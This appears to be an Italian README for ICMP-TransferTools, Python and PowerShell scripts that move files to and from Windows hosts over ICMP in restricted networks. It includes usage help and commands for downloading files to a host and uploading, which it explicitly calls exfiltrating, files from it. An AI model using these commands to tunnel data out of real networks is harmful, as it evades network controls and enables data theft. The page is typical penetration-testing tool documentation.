
Trasferisci file da e verso un host Windows tramite ICMP in ambienti di rete ristretti.
ICMP-TransferTools è un insieme di script progettato per spostare file da e verso host Windows in ambienti di rete ristretti. Questo viene realizzato utilizzando un totale di 4 file diversi, composti da un server python e un client powershell per ogni direzione di trasferimento (Download & Upload).
L'unica dipendenza richiesta è Impacket per uno degli script python. Può essere installato tramite pip in questo modo:
pip3 install impacket
Gli script inclusi ICMP-SendFile.py e Invoke-IcmpDownload.ps1 possono essere utilizzati per scaricare un file su un host Windows tramite ICMP.
Il server python deve essere eseguito per primo per preparare il file per il download. Vedi sotto per l'uso dello script:
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
Una volta importato, il client powershell può quindi essere utilizzato per scaricare il file preparato in questo modo:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
Vedi sotto per una rapida dimostrazione:

Gli script inclusi ICMP-ReceiveFile.py e Invoke-IcmpUpload.ps1 possono essere utilizzati per caricare/esfiltrare un file da un host Windows tramite ICMP.
Il server python deve essere eseguito per primo per assicurarsi che sia pronto ad accettare richieste dal client. Vedi sotto per l'uso dello script:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
Una volta importato, il client powershell può quindi essere utilizzato per caricare il file desiderato in questo modo:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
Vedi sotto per una rapida dimostrazione:
